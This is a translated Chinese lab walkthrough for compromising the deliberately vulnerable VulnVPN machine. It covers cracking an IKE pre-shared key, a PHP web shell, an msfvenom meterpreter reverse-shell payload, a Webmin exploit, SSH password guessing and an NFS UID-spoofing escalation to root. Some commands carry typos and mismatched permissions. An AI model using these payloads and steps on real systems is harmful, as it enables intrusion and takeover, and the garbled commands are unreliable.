学习如何渗透测试VPN和Vlun VPN
VulnVPN的作者已创建http://www.rebootuser.com/,我必须说,这是一个非常好的努力。我们的目标是获得root访问VPN服务器,本文将带您完成整个过程的每一个步骤。
设置VulnVPN和Backtrack
VulnVPN下载链接: http://www.rebootuser.com/wp-content/uploads/vulnvpn/VulnVPN.7z
VulnVPN客户端文件: http://www.rebootuser.com/wp-content/uploads/vulnvpn/client.7z
我尝试了设置KALI Linux32位和64位,但没成功。所以我VMWare安装的是BackTrack 5 r3 32 位。
首先,使用“虚拟网络编辑器”,改变NAT IP地址分配到192.168.0.0如下图所示的图像:
我们将使用这个Backtrack攻击机器。
现在创建一个回溯5R3虚拟机并安装它。在安装完成后,更新它(特别是Metasploit的)。
要使VulnVPN机正常工作,我们需要安装有更多的应用程序:
ppenswan
xl2tpd
PPP
使用以下命令安装这些应用程序:
[code lang="js"]apt-get install openswan xl2tpd ppp[/code]
当一切完成后,启动两个VulnVPN和BackTrack虚拟机。然后VulnVPN启动并运行,我们不会接触它,我们会认为它是一台远程机器,我们没有过任何控制(此时)。
在 BackTrack上我们需要为它分配一个静态IP地址。要做到这一点,打开文件“/etc/network/interfaces”,改变为“eth0的”接口的IP地址:
[code lang="js"]
auto eth0
iface eth0 inet dhcp
#iface eth0 inet static
address 192.168.0.11
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
gateway 192.168.0.1
[/code]
现在解压先前下载的"client.7z"文件,并将它们复制到它们各自的位置,使用下面列出的命令:
[code lang="js"]
root@bt:~/vulnvpn/client# ls
ipsec.conf ipsec.secrets ppp start-vpn.sh xl2tpd
root@bt:~/vulnvpn/client# cp ipsec.conf /etc/
root@bt:~/vulnvpn/client# cp ipsec.secrets /etc/
root@bt:~/vulnvpn/client# cp ppp/options.l2tpd.client /etc/ppp/
root@bt:~/vulnvpn/client# cp xl2tpd/xl2tpd.conf /etc/xl2tpd/
[/code]
找到连接在网络上的主机,请使用以下命令:
[code lang="js"]
root@bt:~/vulnvpn# netdisocver -r 192.168.0.0/24
[/code]
启动VulnVPN开始渗透测试
找到连接在网络上的主机,请使用以下命令:
[code lang="js"]
root@bt:~/vulnvpn# netdisocver -r 192.168.0.0/24
[/code]
IP Address Host Details
192.168.0.10 VulnVPN
192.168.0.11 BackTrack
TCP 端口扫描192.168.0.10
[code lang="js"]
root@bt:~/vulnvpn# nmap -A 192.168.0.10
[/code]
UDP端口扫描192.168.0.10
[code lang="js"]
root@bt:~/vulnvpn# nmap -sU 192.168.0.10
[/code]
注: 192.168.0.10 上的 TCP 端口 81 用于诊断,但不会被攻击。
UDP 端口 500 运行"isakmp"服务 (你可以阅读更多关于它在这里: http://www.networksorcery.com/enp/protocol/isakmp.htm).
我们可以使用工具“isakmp”,一个命令行工具,它使用 IKE 协议发现、 指纹,和测试 IPSec VPN 服务器并进一步测试此服务。
使用ike-scan扫描192.168.0.100的500端口
[code lang="js"]
root@bt:~/vulnvpn# ike-scan -M -A -Pike-hash -d 500 192.168.0.10[/code]
-M:分页输出
-A:主动模式
-P <FILENAME>:要写入到预共享密钥的文件名
-d:目标UDP端口
文件“ike-hash”内的预共享密钥可以使用“psk-crack”来破解。
[code lang="js"]
root@bt:~/vulnvpn# psk-crack -d /pentest/passwords/wordlists/rockyou.txt ike-hash
[/code]
现在,我们有密码123456。我们可以用它来 连接VulnVPN。
编辑/etc/ipsec.secrets和ENTER_PSK_HERE替换为123456.
[code lang="js"]
root@bt:~/vulnvpn# nano /etc/ipsec.secrets
[/code]
现在,重新启动IPSec服务:
[code lang="js"]
root@bt:~# /etc/init.d/ipsec restart
[/code]
如果 xl2tpd 服务尚未运行,你将必须启动它,以及:
root@bt:~# /etc/init.d/xl2tpd start
现在,使用以下命令连接到VulnVPN:
root@bt:~# ipsec auto –up vpn
执行在客户端文件夹中的文件“start-vpn.sh”。执行后,等待一段时间,你将会像ppp0创建一个新的接口。
root@bt:~/vulnvpn/client# sh start-vpn.sh
我们可以发现活跃的主机:
[code lang="js"]
root@bt:~/vulnvpn# for ip in 10.99.99.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip} is up”; done
[/code]
10.99.99.2是我们的IP地址,另一个是VPN的。
在10.99.99.1运行端口扫描:
root@bt:~/vulnvpn# nmap -A -p1-65535 10.99.99.1
在 10.99.99.1 上的 80 和 10000端口 正在运行 HTTP 服务器。
10.99.99.1 上的端口 80
第一次转发80端口的HTTP服务器,默认页面是Apache HTTP服务器安装在它没有进一步的链接。运行dirbuster上 http://10.99.99.1/:
结果:
我们可以看到,WordPress安装在HTTP服务器上。WordPress的页面也可以从这里访问:
http://10.99.99.1/wordpress/
还有就是主页上的上传表单:
该页面允许用户提交上传文件。让我们试着上传包含一个web shell代码的PHP文件。
cmd.php
[code lang="js"]
<?php
highlight_string(shell_exec($_REQUEST['cmd']));
?>
[/code]
在WordPress,文件一般上传到这个位置:/ wp-content/uploads /
我们的 web shell 位于 rsjp/attachments//目录,但是文件名被更改为随机长的字符串。可以在这里访问的 web shell:
创建一个 PHP meterpreter shell,使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.99.99.2 LPORT=4444 -f raw > meter.php
Start a metasploit multi-handler exploit:
现在我们有一个metepreter shell运行在服务器上。
打开一个shell提示符和访问文件系统:
[code lang="js"]
Meterpreter> shell
python -c “import pty;pty.spawn(‘/bin/bash’);”
[/code]
查看服务器中/etc/passwd 文件
[code lang="js"]
www-data@vulnvpn:/$ cat /etc/passwd
[/code]
列表中令人关注的用户是:
root, www-data, bob, jane
我们有另一个web服务器在10000端口上运行,在这里请注意试图通过 HTTP访问它师,Web服务器将引发错误。它是通过HTTPS访问,即:
https://10.99.99.1:10000 /
我们还不知道密码还,所以我们使用之前利用WordPress上传漏洞发现的用户名创建一个用户名列表。对于密码字段,猜测常见用户名和密码可以做。
使用用户名和密码组合来猜测:
用户名 |
密码 |
BOB |
BOB |
注:太多不正确的登录尝试,会导致短时间内禁止的IP访问登录页面。
快速搜索metasploit可用的公共webmin漏洞给我们:
Metasploit: exploit/unix/webapp/webmin_show_cgi_exec
注意:如果你不能在你的Metasploit找到这个漏洞,那么对Metasploit进行更新。
运行这个漏洞并成功获得“ root“访问权限。
另一个“root”欺骗:
使用hydra以及我们以前收集的常见密码组合字典破解基于ssh的用户名列表
正确的登录凭据:
用户名 |
密码 |
BOB |
BOB |
从Nmap的扫描,我们可以看到一个网络文件系统(NFS)
运行metasploit 和辅助模块 NFS mount扫描器:
Metasploit: auxiliary/scanner/nfs/nfsmount
有一个可用的NFS在/home/bob
在10.99.99.1挂载/home/bob,
请使用以下命令:
[code lang="js"]
root@bt:~/vulnvpn# mount 10.99.99.1:/home/bob /root/vulnvpn/bob -o nolock
List all files in the new mount in ./bob
root@bt:~/vulnvpn# ls -lah ./bob
[/code]
呵呵!为什么在这个NFS挂载的所有文件都属于“Postgres的”用户?
这个问题的答案是 NFS 挂载的所有者和组在 mount列出的文件已转换从数值形式为名称的Backtrack所有者。
Backtrack看到“/etc/passwd”文件的内容,我们可以看到,用户“postgres”的用户和组ID为1000。所以文件属于用户和组ID 1000。
现在我们以前利用此漏洞,我们看到"/ etc/passwd" VulnVPN 服务器的内容。根据该文件的用户和组 ID 1000 属于用户"bob".
在Backtrack登录为“root”在用户,并试图建立一个新的文件NFS,我们收到一个错误:
这是因为“root Squashing”在NFS已启用。由于文件属于用户ID 1000,我们可以切换“postgres”的用户,创建NFS挂载的文件。
root@bt:~/vulnvpn# su postgres
sh-4.1$ chmd 777 .
复制/bin/bash 到 ./bob:
sh-4.1$ cp /bin/bash ./
由于“root”没有权限写入,而且我们已经从“www-data”(现在没多大用处)有一个shell,其他用户是“jane”用户ID 1001。在Backtrack使用以下命令创建相同信息的用户:
root@bt:~/vulnvpn# useradd -u 1001 jane
现在切换到该用户帐户的安装位置。
root@bt:~/vulnvpn/bob# su jane
sh-4.1$ whoami
复制“/bin/bash”到“jane”用户挂载,并修改其权限为4777,这意味着调用该文件的用户将执行以“jane”的用户。
sh-4.1$ cp /bin/bash ./mybash
sh-4.1$ chmod 777 mybash
从以前的字典上攻击SHH登陆,我们得到了登录鲍勃的凭据:
用户名:BOB
密码:BOB
登录使用这些凭据SSH:
root@bt:~/vulnvpn/bob# ssh bob@10.99.99.1
现在运行复制的bash文件“mybash”开关“ -P “:
bob@vulnvpn:~$ ./mybash -p
我们现在的登录的用户身份是“jane”,但UID和GID仍然是用户“bob”。
如何摆脱它,下面的内容创建一个C文件:
priv1.c
[code lang="js"]
void main()
{
/* setreuid(ruid,euid)sets the real and effective user IDs of the current process to the values specified by the ruid and euid arguments */
setreuid(1001,-1);
char *args[] = {“/bin/bash”,0};
execve(args[0],args,0);
}
[/code]
编译这个文件,然后将编译后的文件复制到NFS挂载作为用户“jane”。
在服务器上没有gcc:p
[code lang="js"]
root@bt:~/vulnvpn# gcc priv1.c -o priv1
root@bt:~/vulnvpn# chmod 777 priv1
root@bt:~/vulnvpn# cd bob
root@bt:~/vulnvpn/bob# su jane
sh-4.1$ cp ../priv1 ./
[/code]
现在,又回到了在SSH的shell,我们切换到jane ,但UID和GID是的鲍勃,执行以上可执行文件“ priv1 “。
mybash-4.1 $ ./priv1
就像我们在我以前的帖子人做了shell,
我们看到我们可以 以root身份运行什么命令。
jane@vulnvpn:/home/bob$ sudo-l
使用jane允许运行root命令,即VIM没有密码。
如果你不知道,那就让我与你分享,也可以执行从Vim命令。
jane@vulnvpn:/home/bob$ vim
现在按:“然后的<命令>”
Starting shell….
jane@vulnvpn:/home/bob$ sudo vim
我们得到了root
【via】
注:本文有本文由InfoSecLab 翻译,如有翻译和编辑错误,请联系管理员,我们将尽快处理,转载请保留版权,谢谢,希望本文对你有所帮助
参考文献:
http://www.rebootuser.com/?p=1474
http://pubs.opengroup.org/onlinepubs/009695399/functions/setreuid.html
作者简介:
Abhineet Jayaraj是一个自由(兼职)的信息安全研究员。通过学习,实践和向应用程序供应商报告错误的经验。CEH认证,但认为在实际知识和未在框中的思考,而不是收集证书。一直开到更多的学习,以提高自己的知识。信息安全是一种爱好,而工作对他。构建工具来自动化测试,使事情变得更加容易。